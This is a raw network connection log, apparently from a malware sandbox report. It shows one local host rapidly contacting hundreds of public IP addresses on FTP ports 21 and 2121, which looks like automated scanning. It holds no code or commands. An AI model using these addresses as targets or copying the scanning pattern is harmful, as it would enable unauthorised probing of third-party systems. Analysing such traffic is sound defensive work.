Aug 23, 2023 09:15:04.383533955 CEST	50354	2121	192.168.2.3	58.82.217.31
Aug 23, 2023 09:15:04.383533001 CEST	50401	21	192.168.2.3	180.71.24.70
Aug 23, 2023 09:15:04.383550882 CEST	50353	21	192.168.2.3	58.82.217.31
Aug 23, 2023 09:15:04.383550882 CEST	50351	21	192.168.2.3	103.171.18.4
Aug 23, 2023 09:15:04.383574963 CEST	50348	2121	192.168.2.3	89.65.180.227
Aug 23, 2023 09:15:04.386116028 CEST	50408	2121	192.168.2.3	203.208.117.246
Aug 23, 2023 09:15:04.386138916 CEST	50410	2121	192.168.2.3	23.213.84.253
Aug 23, 2023 09:15:04.386239052 CEST	50411	21	192.168.2.3	175.126.95.214
Aug 23, 2023 09:15:04.386285067 CEST	50409	21	192.168.2.3	23.213.84.253
Aug 23, 2023 09:15:04.390907049 CEST	2121	50385	183.81.85.206	192.168.2.3
Aug 23, 2023 09:15:04.391678095 CEST	50412	2121	192.168.2.3	175.126.95.214
Aug 23, 2023 09:15:04.400322914 CEST	50414	2121	192.168.2.3	130.255.55.29
Aug 23, 2023 09:15:04.400331020 CEST	50413	21	192.168.2.3	130.255.55.29
Aug 23, 2023 09:15:04.401163101 CEST	2121	50402	180.71.24.70	192.168.2.3
Aug 23, 2023 09:15:04.479518890 CEST	50350	2121	192.168.2.3	20.240.22.30
Aug 23, 2023 09:15:04.479593039 CEST	50349	21	192.168.2.3	20.240.22.30
Aug 23, 2023 09:15:04.486632109 CEST	21	50413	130.255.55.29	192.168.2.3
Aug 23, 2023 09:15:04.486692905 CEST	2121	50414	130.255.55.29	192.168.2.3
Aug 23, 2023 09:15:04.492868900 CEST	50388	2121	192.168.2.3	36.237.124.49
Aug 23, 2023 09:15:04.598438978 CEST	50359	21	192.168.2.3	27.255.178.207
Aug 23, 2023 09:15:04.598458052 CEST	50387	21	192.168.2.3	36.237.124.49
Aug 23, 2023 09:15:04.598459005 CEST	50360	2121	192.168.2.3	27.255.178.207
Aug 23, 2023 09:15:04.655388117 CEST	2121	50412	175.126.95.214	192.168.2.3
Aug 23, 2023 09:15:04.664581060 CEST	21	50411	175.126.95.214	192.168.2.3
Aug 23, 2023 09:15:04.669310093 CEST	21	50401	180.71.24.70	192.168.2.3
Aug 23, 2023 09:15:04.696047068 CEST	50357	21	192.168.2.3	182.233.37.100
Aug 23, 2023 09:15:04.696070910 CEST	50358	2121	192.168.2.3	182.233.37.100
Aug 23, 2023 09:15:04.696080923 CEST	50361	21	192.168.2.3	79.1.84.163
Aug 23, 2023 09:15:04.696084976 CEST	50363	2121	192.168.2.3	160.8.75.26
Aug 23, 2023 09:15:04.696105957 CEST	50362	2121	192.168.2.3	79.1.84.163
Aug 23, 2023 09:15:04.711622953 CEST	50364	21	192.168.2.3	160.8.75.26
Aug 23, 2023 09:15:04.756606102 CEST	2121	50388	36.237.124.49	192.168.2.3
Aug 23, 2023 09:15:04.757698059 CEST	50415	21	192.168.2.3	202.190.86.238
Aug 23, 2023 09:15:04.872836113 CEST	21	50387	36.237.124.49	192.168.2.3
Aug 23, 2023 09:15:04.880686045 CEST	50416	2121	192.168.2.3	202.190.86.238
Aug 23, 2023 09:15:04.992918015 CEST	50402	2121	192.168.2.3	180.71.24.70
Aug 23, 2023 09:15:04.992918015 CEST	50413	21	192.168.2.3	130.255.55.29
Aug 23, 2023 09:15:04.993061066 CEST	50414	2121	192.168.2.3	130.255.55.29
Aug 23, 2023 09:15:05.008707047 CEST	50367	21	192.168.2.3	176.50.2.138
Aug 23, 2023 09:15:05.079554081 CEST	21	50413	130.255.55.29	192.168.2.3
Aug 23, 2023 09:15:05.079590082 CEST	2121	50414	130.255.55.29	192.168.2.3
Aug 23, 2023 09:15:05.118083954 CEST	50368	2121	192.168.2.3	176.50.2.138
Aug 23, 2023 09:15:05.118086100 CEST	50369	21	192.168.2.3	73.253.247.105
Aug 23, 2023 09:15:05.196082115 CEST	50401	21	192.168.2.3	180.71.24.70
Aug 23, 2023 09:15:05.196084976 CEST	50411	21	192.168.2.3	175.126.95.214
Aug 23, 2023 09:15:05.196085930 CEST	50239	3333	192.168.2.3	141.95.206.77
Aug 23, 2023 09:15:05.268069983 CEST	2121	50402	180.71.24.70	192.168.2.3
Aug 23, 2023 09:15:05.321115017 CEST	50412	2121	192.168.2.3	175.126.95.214
Aug 23, 2023 09:15:05.321140051 CEST	50370	2121	192.168.2.3	73.253.247.105
Aug 23, 2023 09:15:05.474911928 CEST	21	50411	175.126.95.214	192.168.2.3
Aug 23, 2023 09:15:05.481385946 CEST	21	50401	180.71.24.70	192.168.2.3
Aug 23, 2023 09:15:05.493127108 CEST	50371	21	192.168.2.3	207.60.60.164
Aug 23, 2023 09:15:05.499356985 CEST	50417	21	192.168.2.3	101.36.106.107
Aug 23, 2023 09:15:05.586891890 CEST	2121	50412	175.126.95.214	192.168.2.3
Aug 23, 2023 09:15:05.617974043 CEST	50372	21	192.168.2.3	35.206.72.150
Aug 23, 2023 09:15:05.696916103 CEST	50378	2121	192.168.2.3	62.39.243.238
Aug 23, 2023 09:15:05.696922064 CEST	50373	2121	192.168.2.3	207.60.60.164
Aug 23, 2023 09:15:05.696922064 CEST	50377	21	192.168.2.3	62.39.243.238
Aug 23, 2023 09:15:05.696969986 CEST	50413	21	192.168.2.3	130.255.55.29
Aug 23, 2023 09:15:05.696969986 CEST	50374	2121	192.168.2.3	35.206.72.150
Aug 23, 2023 09:15:05.697009087 CEST	50414	2121	192.168.2.3	130.255.55.29
Aug 23, 2023 09:15:05.768090010 CEST	21	50417	101.36.106.107	192.168.2.3
Aug 23, 2023 09:15:05.783663988 CEST	21	50413	130.255.55.29	192.168.2.3
Aug 23, 2023 09:15:05.784907103 CEST	2121	50414	130.255.55.29	192.168.2.3
Aug 23, 2023 09:15:05.821227074 CEST	50376	2121	192.168.2.3	1.99.66.23
Aug 23, 2023 09:15:05.821247101 CEST	50382	2121	192.168.2.3	78.37.139.117
Aug 23, 2023 09:15:05.821261883 CEST	50381	21	192.168.2.3	78.37.139.117
Aug 23, 2023 09:15:05.821327925 CEST	50375	21	192.168.2.3	1.99.66.23
Aug 23, 2023 09:15:05.849288940 CEST	50418	2121	192.168.2.3	101.36.106.107
Aug 23, 2023 09:15:05.853310108 CEST	50419	21	192.168.2.3	41.82.3.49
Aug 23, 2023 09:15:05.873821020 CEST	50421	21	192.168.2.3	185.202.73.189
Aug 23, 2023 09:15:05.874033928 CEST	50420	2121	192.168.2.3	41.82.3.49
Aug 23, 2023 09:15:05.874033928 CEST	50422	2121	192.168.2.3	185.202.73.189
Aug 23, 2023 09:15:05.874051094 CEST	50423	2121	192.168.2.3	31.223.254.25
Aug 23, 2023 09:15:05.874309063 CEST	50424	21	192.168.2.3	31.223.254.25
Aug 23, 2023 09:15:05.883707047 CEST	50383	21	192.168.2.3	183.81.85.206
Aug 23, 2023 09:15:05.883723021 CEST	50402	2121	192.168.2.3	180.71.24.70
Aug 23, 2023 09:15:05.888093948 CEST	50425	21	192.168.2.3	187.15.180.114
Aug 23, 2023 09:15:05.888251066 CEST	50427	21	192.168.2.3	112.180.211.218
Aug 23, 2023 09:15:05.888278008 CEST	50428	2121	192.168.2.3	112.180.211.218
Aug 23, 2023 09:15:05.888288975 CEST	50426	2121	192.168.2.3	187.15.180.114
Aug 23, 2023 09:15:05.888386965 CEST	50429	21	192.168.2.3	113.22.82.67
Aug 23, 2023 09:15:05.888490915 CEST	50430	2121	192.168.2.3	113.22.82.67
Aug 23, 2023 09:15:05.896872997 CEST	2121	50423	31.223.254.25	192.168.2.3
Aug 23, 2023 09:15:05.897006035 CEST	21	50424	31.223.254.25	192.168.2.3
Aug 23, 2023 09:15:05.921747923 CEST	50431	21	192.168.2.3	84.105.87.59
Aug 23, 2023 09:15:05.921798944 CEST	50432	2121	192.168.2.3	84.105.87.59
Aug 23, 2023 09:15:05.941519022 CEST	50433	21	192.168.2.3	81.14.76.79
Aug 23, 2023 09:15:05.941606045 CEST	50434	2121	192.168.2.3	81.14.76.79
Aug 23, 2023 09:15:05.946765900 CEST	50435	21	192.168.2.3	23.64.237.242
Aug 23, 2023 09:15:05.993027925 CEST	50389	21	192.168.2.3	46.12.118.54
Aug 23, 2023 09:15:05.993065119 CEST	50411	21	192.168.2.3	175.126.95.214
Aug 23, 2023 09:15:06.057020903 CEST	50436	2121	192.168.2.3	23.64.237.242
Aug 23, 2023 09:15:06.057180882 CEST	50437	21	192.168.2.3	102.113.133.157
Aug 23, 2023 09:15:06.059592009 CEST	2121	50418	101.36.106.107	192.168.2.3
Aug 23, 2023 09:15:06.118067980 CEST	50412	2121	192.168.2.3	175.126.95.214
Aug 23, 2023 09:15:06.150495052 CEST	21	50427	112.180.211.218	192.168.2.3
Aug 23, 2023 09:15:06.154803991 CEST	2121	50428	112.180.211.218	192.168.2.3
Aug 23, 2023 09:15:06.159246922 CEST	2121	50402	180.71.24.70	192.168.2.3
Aug 23, 2023 09:15:06.190463066 CEST	50438	2121	192.168.2.3	102.113.133.157
Aug 23, 2023 09:15:06.196145058 CEST	50390	2121	192.168.2.3	46.12.118.54
Aug 23, 2023 09:15:06.213159084 CEST	50439	21	192.168.2.3	20.6.0.115
Aug 23, 2023 09:15:06.271800995 CEST	21	50411	175.126.95.214	192.168.2.3
Aug 23, 2023 09:15:06.273550987 CEST	50440	2121	192.168.2.3	20.6.0.115
Aug 23, 2023 09:15:06.275614023 CEST	50441	21	192.168.2.3	73.44.228.176
Aug 23, 2023 09:15:06.279476881 CEST	50391	21	192.168.2.3	104.45.86.240
Aug 23, 2023 09:15:06.279527903 CEST	50392	2121	192.168.2.3	104.45.86.240
Aug 23, 2023 09:15:06.290587902 CEST	50442	2121	192.168.2.3	73.44.228.176
Aug 23, 2023 09:15:06.337826014 CEST	50443	21	192.168.2.3	67.185.193.24
Aug 23, 2023 09:15:06.354497910 CEST	50444	2121	192.168.2.3	67.185.193.24
Aug 23, 2023 09:15:06.354533911 CEST	50445	21	192.168.2.3	181.68.193.130
Aug 23, 2023 09:15:06.354573965 CEST	50446	2121	192.168.2.3	181.68.193.130
Aug 23, 2023 09:15:06.380474091 CEST	50447	21	192.168.2.3	23.8.187.185
Aug 23, 2023 09:15:06.380528927 CEST	50448	2121	192.168.2.3	23.8.187.185
Aug 23, 2023 09:15:06.380635023 CEST	50449	21	192.168.2.3	116.101.221.124
Aug 23, 2023 09:15:06.380682945 CEST	50450	2121	192.168.2.3	116.101.221.124
Aug 23, 2023 09:15:06.381850958 CEST	2121	50412	175.126.95.214	192.168.2.3
Aug 23, 2023 09:15:06.383642912 CEST	50417	21	192.168.2.3	101.36.106.107
Aug 23, 2023 09:15:06.383652925 CEST	50395	21	192.168.2.3	187.171.190.253
Aug 23, 2023 09:15:06.414927959 CEST	50393	21	192.168.2.3	81.244.203.10
Aug 23, 2023 09:15:06.414954901 CEST	50394	2121	192.168.2.3	81.244.203.10
Aug 23, 2023 09:15:06.414954901 CEST	50424	21	192.168.2.3	31.223.254.25
Aug 23, 2023 09:15:06.414963961 CEST	50423	2121	192.168.2.3	31.223.254.25
Aug 23, 2023 09:15:06.414963961 CEST	50397	21	192.168.2.3	94.75.136.130
Aug 23, 2023 09:15:06.414984941 CEST	50396	2121	192.168.2.3	187.171.190.253
Aug 23, 2023 09:15:06.437222958 CEST	50451	21	192.168.2.3	167.57.162.138
Aug 23, 2023 09:15:06.437585115 CEST	2121	50423	31.223.254.25	192.168.2.3
Aug 23, 2023 09:15:06.437700033 CEST	21	50424	31.223.254.25	192.168.2.3
Aug 23, 2023 09:15:06.542736053 CEST	50452	21	192.168.2.3	23.197.234.210
Aug 23, 2023 09:15:06.542812109 CEST	50454	2121	192.168.2.3	23.197.234.210
Aug 23, 2023 09:15:06.542850971 CEST	50453	2121	192.168.2.3	167.57.162.138
Aug 23, 2023 09:15:06.557610035 CEST	50400	2121	192.168.2.3	20.85.42.39
Aug 23, 2023 09:15:06.557610035 CEST	50398	2121	192.168.2.3	94.75.136.130
Aug 23, 2023 09:15:06.557713032 CEST	50399	21	192.168.2.3	20.85.42.39
Aug 23, 2023 09:15:06.587568998 CEST	50455	21	192.168.2.3	91.90.7.124
Aug 23, 2023 09:15:06.620018005 CEST	50456	2121	192.168.2.3	91.90.7.124
Aug 23, 2023 09:15:06.620168924 CEST	50457	21	192.168.2.3	95.252.49.245
Aug 23, 2023 09:15:06.620325089 CEST	50458	2121	192.168.2.3	95.252.49.245
Aug 23, 2023 09:15:06.620491982 CEST	50459	21	192.168.2.3	104.99.61.24
Aug 23, 2023 09:15:06.655500889 CEST	21	50417	101.36.106.107	192.168.2.3
Aug 23, 2023 09:15:06.682959080 CEST	50427	21	192.168.2.3	112.180.211.218
Aug 23, 2023 09:15:06.696229935 CEST	50418	2121	192.168.2.3	101.36.106.107
Aug 23, 2023 09:15:06.696293116 CEST	50428	2121	192.168.2.3	112.180.211.218
Aug 23, 2023 09:15:06.906029940 CEST	2121	50418	101.36.106.107	192.168.2.3
Aug 23, 2023 09:15:06.946655989 CEST	21	50427	112.180.211.218	192.168.2.3
Aug 23, 2023 09:15:06.961925983 CEST	2121	50428	112.180.211.218	192.168.2.3
Aug 23, 2023 09:15:07.008735895 CEST	50423	2121	192.168.2.3	31.223.254.25
Aug 23, 2023 09:15:07.008841038 CEST	50424	21	192.168.2.3	31.223.254.25
Aug 23, 2023 09:15:07.024967909 CEST	50460	2121	192.168.2.3	104.99.61.24
Aug 23, 2023 09:15:07.025525093 CEST	50461	21	192.168.2.3	68.188.159.143
Aug 23, 2023 09:15:07.035235882 CEST	2121	50423	31.223.254.25	192.168.2.3
Aug 23, 2023 09:15:07.035617113 CEST	21	50424	31.223.254.25	192.168.2.3
Aug 23, 2023 09:15:07.036603928 CEST	50462	2121	192.168.2.3	68.188.159.143
Aug 23, 2023 09:15:07.036748886 CEST	50463	21	192.168.2.3	50.72.80.13
Aug 23, 2023 09:15:07.040466070 CEST	50464	2121	192.168.2.3	50.72.80.13
Aug 23, 2023 09:15:07.199984074 CEST	50417	21	192.168.2.3	101.36.106.107
Aug 23, 2023 09:15:07.199984074 CEST	50403	21	192.168.2.3	86.74.150.158
Aug 23, 2023 09:15:07.290553093 CEST	50465	21	192.168.2.3	207.44.35.15
Aug 23, 2023 09:15:07.321244001 CEST	50404	2121	192.168.2.3	86.74.150.158
Aug 23, 2023 09:15:07.321244001 CEST	50405	21	192.168.2.3	73.80.1.147
Aug 23, 2023 09:15:07.321289062 CEST	50406	2121	192.168.2.3	73.80.1.147
Aug 23, 2023 09:15:07.383764982 CEST	50410	2121	192.168.2.3	23.213.84.253
Aug 23, 2023 09:15:07.383766890 CEST	50409	21	192.168.2.3	23.213.84.253
Aug 23, 2023 09:15:07.429178953 CEST	50408	2121	192.168.2.3	203.208.117.246
Aug 23, 2023 09:15:07.429193974 CEST	50407	21	192.168.2.3	203.208.117.246
Aug 23, 2023 09:15:07.471580029 CEST	21	50417	101.36.106.107	192.168.2.3
Aug 23, 2023 09:15:07.493211985 CEST	50418	2121	192.168.2.3	101.36.106.107
Aug 23, 2023 09:15:07.493216038 CEST	50428	2121	192.168.2.3	112.180.211.218
Aug 23, 2023 09:15:07.531507969 CEST	50466	2121	192.168.2.3	207.44.35.15
Aug 23, 2023 09:15:07.536092997 CEST	50467	21	192.168.2.3	118.35.161.218
Aug 23, 2023 09:15:07.556472063 CEST	50468	2121	192.168.2.3	118.35.161.218
Aug 23, 2023 09:15:07.556649923 CEST	50469	21	192.168.2.3	68.104.35.151
Aug 23, 2023 09:15:07.618170023 CEST	50427	21	192.168.2.3	112.180.211.218
Aug 23, 2023 09:15:07.702729940 CEST	50470	2121	192.168.2.3	68.104.35.151
Aug 23, 2023 09:15:07.702797890 CEST	50472	2121	192.168.2.3	133.125.50.167
Aug 23, 2023 09:15:07.702821970 CEST	50471	21	192.168.2.3	133.125.50.167
Aug 23, 2023 09:15:07.702888966 CEST	50473	21	192.168.2.3	174.116.186.102
Aug 23, 2023 09:15:07.702907085 CEST	50474	2121	192.168.2.3	174.116.186.102
Aug 23, 2023 09:15:07.702935934 CEST	2121	50418	101.36.106.107	192.168.2.3
Aug 23, 2023 09:15:07.704813957 CEST	50475	21	192.168.2.3	220.119.116.47
Aug 23, 2023 09:15:07.759624958 CEST	2121	50428	112.180.211.218	192.168.2.3
Aug 23, 2023 09:15:07.842959881 CEST	50476	2121	192.168.2.3	220.119.116.47
Aug 23, 2023 09:15:07.843708038 CEST	50478	21	192.168.2.3	147.161.170.227
Aug 23, 2023 09:15:07.843710899 CEST	50477	2121	192.168.2.3	87.254.171.128
Aug 23, 2023 09:15:07.843796968 CEST	50479	21	192.168.2.3	87.254.171.128
Aug 23, 2023 09:15:07.881453037 CEST	21	50427	112.180.211.218	192.168.2.3
Aug 23, 2023 09:15:07.882157087 CEST	50480	2121	192.168.2.3	147.161.170.227
Aug 23, 2023 09:15:07.883785963 CEST	50415	21	192.168.2.3	202.190.86.238
Aug 23, 2023 09:15:07.883923054 CEST	50416	2121	192.168.2.3	202.190.86.238
Aug 23, 2023 09:15:07.959640026 CEST	21	50475	220.119.116.47	192.168.2.3
Aug 23, 2023 09:15:08.028778076 CEST	50481	21	192.168.2.3	186.54.2.220
Aug 23, 2023 09:15:08.056773901 CEST	50482	2121	192.168.2.3	186.54.2.220
Aug 23, 2023 09:15:08.095603943 CEST	2121	50476	220.119.116.47	192.168.2.3
Aug 23, 2023 09:15:08.150593042 CEST	50483	2121	192.168.2.3	139.193.7.14
Aug 23, 2023 09:15:08.151196003 CEST	50484	21	192.168.2.3	139.193.7.14
Aug 23, 2023 09:15:08.290967941 CEST	50485	21	192.168.2.3	52.155.89.247
Aug 23, 2023 09:15:08.291239977 CEST	50486	2121	192.168.2.3	52.155.89.247
Aug 23, 2023 09:15:08.403531075 CEST	50488	21	192.168.2.3	82.32.144.15
Aug 23, 2023 09:15:08.404006004 CEST	50489	2121	192.168.2.3	82.32.144.15
Aug 23, 2023 09:15:08.431736946 CEST	50490	21	192.168.2.3	76.107.70.230
Aug 23, 2023 09:15:08.470494032 CEST	50491	2121	192.168.2.3	76.107.70.230
Aug 23, 2023 09:15:08.525587082 CEST	50492	21	192.168.2.3	23.242.7.246
Aug 23, 2023 09:15:08.568180084 CEST	50475	21	192.168.2.3	220.119.116.47
Aug 23, 2023 09:15:08.572108030 CEST	50493	2121	192.168.2.3	23.242.7.246
Aug 23, 2023 09:15:08.696408987 CEST	50476	2121	192.168.2.3	220.119.116.47
Aug 23, 2023 09:15:08.821206093 CEST	21	50475	220.119.116.47	192.168.2.3
Aug 23, 2023 09:15:08.883908033 CEST	50430	2121	192.168.2.3	113.22.82.67
Aug 23, 2023 09:15:08.884156942 CEST	50419	21	192.168.2.3	41.82.3.49
Aug 23, 2023 09:15:08.949584007 CEST	2121	50476	220.119.116.47	192.168.2.3
Aug 23, 2023 09:15:08.993371010 CEST	50435	21	192.168.2.3	23.64.237.242
Aug 23, 2023 09:15:08.993374109 CEST	50429	21	192.168.2.3	113.22.82.67
Aug 23, 2023 09:15:08.993428946 CEST	50432	2121	192.168.2.3	84.105.87.59
Aug 23, 2023 09:15:09.008903027 CEST	50420	2121	192.168.2.3	41.82.3.49
Aug 23, 2023 09:15:09.008943081 CEST	50421	21	192.168.2.3	185.202.73.189
Aug 23, 2023 09:15:09.008945942 CEST	50425	21	192.168.2.3	187.15.180.114
Aug 23, 2023 09:15:09.008945942 CEST	50434	2121	192.168.2.3	81.14.76.79
Aug 23, 2023 09:15:09.008959055 CEST	50426	2121	192.168.2.3	187.15.180.114
Aug 23, 2023 09:15:09.008960009 CEST	50433	21	192.168.2.3	81.14.76.79
Aug 23, 2023 09:15:09.008964062 CEST	50422	2121	192.168.2.3	185.202.73.189
Aug 23, 2023 09:15:09.009004116 CEST	50431	21	192.168.2.3	84.105.87.59
Aug 23, 2023 09:15:09.118352890 CEST	50436	2121	192.168.2.3	23.64.237.242
Aug 23, 2023 09:15:09.158148050 CEST	50495	21	192.168.2.3	79.3.67.175
Aug 23, 2023 09:15:09.196460962 CEST	50437	21	192.168.2.3	102.113.133.157
Aug 23, 2023 09:15:09.197062016 CEST	50438	2121	192.168.2.3	102.113.133.157
Aug 23, 2023 09:15:09.230657101 CEST	50496	2121	192.168.2.3	79.3.67.175
Aug 23, 2023 09:15:09.230845928 CEST	50497	21	192.168.2.3	84.148.65.35
Aug 23, 2023 09:15:09.230864048 CEST	50498	2121	192.168.2.3	84.148.65.35
Aug 23, 2023 09:15:09.321424961 CEST	50441	21	192.168.2.3	73.44.228.176
Aug 23, 2023 09:15:09.321441889 CEST	50442	2121	192.168.2.3	73.44.228.176
Aug 23, 2023 09:15:09.321454048 CEST	50475	21	192.168.2.3	220.119.116.47
Aug 23, 2023 09:15:09.353308916 CEST	50499	21	192.168.2.3	77.69.221.209
Aug 23, 2023 09:15:09.383971930 CEST	50443	21	192.168.2.3	67.185.193.24
Aug 23, 2023 09:15:09.383976936 CEST	50447	21	192.168.2.3	23.8.187.185
Aug 23, 2023 09:15:09.384035110 CEST	50439	21	192.168.2.3	20.6.0.115
Aug 23, 2023 09:15:09.384083033 CEST	50440	2121	192.168.2.3	20.6.0.115
Aug 23, 2023 09:15:09.384083033 CEST	50448	2121	192.168.2.3	23.8.187.185
Aug 23, 2023 09:15:09.400743008 CEST	50500	2121	192.168.2.3	77.69.221.209
Aug 23, 2023 09:15:09.403194904 CEST	50501	21	192.168.2.3	81.230.150.143
Aug 23, 2023 09:15:09.403203964 CEST	50502	2121	192.168.2.3	81.230.150.143
Aug 23, 2023 09:15:09.493426085 CEST	50451	21	192.168.2.3	167.57.162.138
Aug 23, 2023 09:15:09.493518114 CEST	50476	2121	192.168.2.3	220.119.116.47
Aug 23, 2023 09:15:09.509006023 CEST	50446	2121	192.168.2.3	181.68.193.130
Aug 23, 2023 09:15:09.509011030 CEST	50445	21	192.168.2.3	181.68.193.130
Aug 23, 2023 09:15:09.509062052 CEST	50444	2121	192.168.2.3	67.185.193.24
Aug 23, 2023 09:15:09.509109020 CEST	50450	2121	192.168.2.3	116.101.221.124
Aug 23, 2023 09:15:09.509114981 CEST	50449	21	192.168.2.3	116.101.221.124
Aug 23, 2023 09:15:09.618406057 CEST	50452	21	192.168.2.3	23.197.234.210
Aug 23, 2023 09:15:09.618406057 CEST	50456	2121	192.168.2.3	91.90.7.124
Aug 23, 2023 09:15:09.618442059 CEST	50457	21	192.168.2.3	95.252.49.245
Aug 23, 2023 09:15:09.618443966 CEST	50458	2121	192.168.2.3	95.252.49.245
Aug 23, 2023 09:15:09.618444920 CEST	50455	21	192.168.2.3	91.90.7.124
Aug 23, 2023 09:15:09.705172062 CEST	50454	2121	192.168.2.3	23.197.234.210
Aug 23, 2023 09:15:09.705173969 CEST	50453	2121	192.168.2.3	167.57.162.138
Aug 23, 2023 09:15:09.759592056 CEST	50503	21	192.168.2.3	68.40.233.94
Aug 23, 2023 09:15:09.823471069 CEST	50459	21	192.168.2.3	104.99.61.24
Aug 23, 2023 09:15:09.884535074 CEST	50504	2121	192.168.2.3	68.40.233.94
Aug 23, 2023 09:15:10.118406057 CEST	50463	21	192.168.2.3	50.72.80.13
Aug 23, 2023 09:15:10.118931055 CEST	50464	2121	192.168.2.3	50.72.80.13
Aug 23, 2023 09:15:10.196693897 CEST	50460	2121	192.168.2.3	104.99.61.24
Aug 23, 2023 09:15:10.196774960 CEST	50462	2121	192.168.2.3	68.188.159.143
Aug 23, 2023 09:15:10.196774006 CEST	50461	21	192.168.2.3	68.188.159.143
Aug 23, 2023 09:15:10.384063959 CEST	50465	21	192.168.2.3	207.44.35.15
Aug 23, 2023 09:15:10.678507090 CEST	50468	2121	192.168.2.3	118.35.161.218
Aug 23, 2023 09:15:10.678520918 CEST	50469	21	192.168.2.3	68.104.35.151
Aug 23, 2023 09:15:10.696527958 CEST	50466	2121	192.168.2.3	207.44.35.15
Aug 23, 2023 09:15:10.696528912 CEST	50467	21	192.168.2.3	118.35.161.218
Aug 23, 2023 09:15:10.696585894 CEST	50472	2121	192.168.2.3	133.125.50.167
Aug 23, 2023 09:15:10.821573019 CEST	50473	21	192.168.2.3	174.116.186.102
Aug 23, 2023 09:15:10.821578026 CEST	50470	2121	192.168.2.3	68.104.35.151
Aug 23, 2023 09:15:10.821635008 CEST	50474	2121	192.168.2.3	174.116.186.102
Aug 23, 2023 09:15:10.854347944 CEST	50505	21	192.168.2.3	108.14.13.142
Aug 23, 2023 09:15:10.884066105 CEST	50478	21	192.168.2.3	147.161.170.227
Aug 23, 2023 09:15:10.884128094 CEST	50479	21	192.168.2.3	87.254.171.128
Aug 23, 2023 09:15:10.884138107 CEST	50471	21	192.168.2.3	133.125.50.167
Aug 23, 2023 09:15:10.885322094 CEST	50506	2121	192.168.2.3	108.14.13.142
Aug 23, 2023 09:15:10.885385036 CEST	50507	2121	192.168.2.3	72.189.254.180
Aug 23, 2023 09:15:10.885390997 CEST	50508	21	192.168.2.3	72.189.254.180
Aug 23, 2023 09:15:10.901155949 CEST	50510	2121	192.168.2.3	171.233.54.176
Aug 23, 2023 09:15:10.901160002 CEST	50509	21	192.168.2.3	171.233.54.176
Aug 23, 2023 09:15:10.901266098 CEST	50511	2121	192.168.2.3	212.20.39.72
Aug 23, 2023 09:15:10.901420116 CEST	50512	21	192.168.2.3	212.20.39.72
Aug 23, 2023 09:15:10.915433884 CEST	50480	2121	192.168.2.3	147.161.170.227
Aug 23, 2023 09:15:10.915455103 CEST	50477	2121	192.168.2.3	87.254.171.128
Aug 23, 2023 09:15:10.931993008 CEST	50513	21	192.168.2.3	189.48.108.218
Aug 23, 2023 09:15:10.932153940 CEST	50514	2121	192.168.2.3	189.48.108.218
Aug 23, 2023 09:15:10.951780081 CEST	50516	2121	192.168.2.3	98.30.116.153
Aug 23, 2023 09:15:10.951960087 CEST	50515	21	192.168.2.3	98.30.116.153
Aug 23, 2023 09:15:10.963099957 CEST	50517	21	192.168.2.3	217.210.130.189
Aug 23, 2023 09:15:11.040380001 CEST	50481	21	192.168.2.3	186.54.2.220
Aug 23, 2023 09:15:11.071679115 CEST	50482	2121	192.168.2.3	186.54.2.220
Aug 23, 2023 09:15:11.072592020 CEST	50518	2121	192.168.2.3	217.210.130.189
Aug 23, 2023 09:15:11.165404081 CEST	50484	21	192.168.2.3	139.193.7.14
Aug 23, 2023 09:15:11.196798086 CEST	50483	2121	192.168.2.3	139.193.7.14
Aug 23, 2023 09:15:11.222480059 CEST	50520	21	192.168.2.3	173.93.64.224
Aug 23, 2023 09:15:11.263205051 CEST	50521	2121	192.168.2.3	173.93.64.224
Aug 23, 2023 09:15:11.274272919 CEST	50522	21	192.168.2.3	73.177.87.250
Aug 23, 2023 09:15:11.275327921 CEST	50523	2121	192.168.2.3	73.177.87.250
Aug 23, 2023 09:15:11.290359020 CEST	50485	21	192.168.2.3	52.155.89.247
Aug 23, 2023 09:15:11.290361881 CEST	50486	2121	192.168.2.3	52.155.89.247
Aug 23, 2023 09:15:11.291440010 CEST	50524	21	192.168.2.3	216.145.135.123
Aug 23, 2023 09:15:11.303544044 CEST	21	49983	94.76.228.203	192.168.2.3
Aug 23, 2023 09:15:11.303626060 CEST	49983	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:15:11.307286024 CEST	50525	2121	192.168.2.3	216.145.135.123
Aug 23, 2023 09:15:11.373368025 CEST	2121	50476	220.119.116.47	192.168.2.3
Aug 23, 2023 09:15:11.377300978 CEST	21	50475	220.119.116.47	192.168.2.3
Aug 23, 2023 09:15:11.383408070 CEST	50527	21	192.168.2.3	73.204.253.173
Aug 23, 2023 09:15:11.383544922 CEST	50528	2121	192.168.2.3	73.204.253.173
Aug 23, 2023 09:15:11.383544922 CEST	50529	21	192.168.2.3	14.91.171.152
Aug 23, 2023 09:15:11.383651972 CEST	50531	21	192.168.2.3	103.103.63.25
Aug 23, 2023 09:15:11.383651972 CEST	50530	2121	192.168.2.3	14.91.171.152
Aug 23, 2023 09:15:11.383801937 CEST	50532	2121	192.168.2.3	103.103.63.25
Aug 23, 2023 09:15:11.386094093 CEST	50534	2121	192.168.2.3	222.232.105.154
Aug 23, 2023 09:15:11.386313915 CEST	50533	21	192.168.2.3	222.232.105.154
Aug 23, 2023 09:15:11.393371105 CEST	50535	21	192.168.2.3	180.248.47.154
Aug 23, 2023 09:15:11.393449068 CEST	50536	2121	192.168.2.3	180.248.47.154
Aug 23, 2023 09:15:11.449342012 CEST	50490	21	192.168.2.3	76.107.70.230
Aug 23, 2023 09:15:11.457308054 CEST	50537	21	192.168.2.3	59.152.146.30
Aug 23, 2023 09:15:11.477859020 CEST	50491	2121	192.168.2.3	76.107.70.230
Aug 23, 2023 09:15:11.493489027 CEST	50488	21	192.168.2.3	82.32.144.15
Aug 23, 2023 09:15:11.497262955 CEST	50489	2121	192.168.2.3	82.32.144.15
Aug 23, 2023 09:15:11.637357950 CEST	21	50531	103.103.63.25	192.168.2.3
Aug 23, 2023 09:15:11.637386084 CEST	2121	50532	103.103.63.25	192.168.2.3
Aug 23, 2023 09:15:11.644608974 CEST	21	50529	14.91.171.152	192.168.2.3
Aug 23, 2023 09:15:11.644632101 CEST	2121	50530	14.91.171.152	192.168.2.3
Aug 23, 2023 09:15:11.696815968 CEST	50492	21	192.168.2.3	23.242.7.246
Aug 23, 2023 09:15:11.696820974 CEST	50493	2121	192.168.2.3	23.242.7.246
Aug 23, 2023 09:15:11.788327932 CEST	50538	2121	192.168.2.3	59.152.146.30
Aug 23, 2023 09:15:11.788790941 CEST	50539	21	192.168.2.3	107.145.146.200
Aug 23, 2023 09:15:11.789079905 CEST	50540	21	192.168.2.3	87.65.226.227
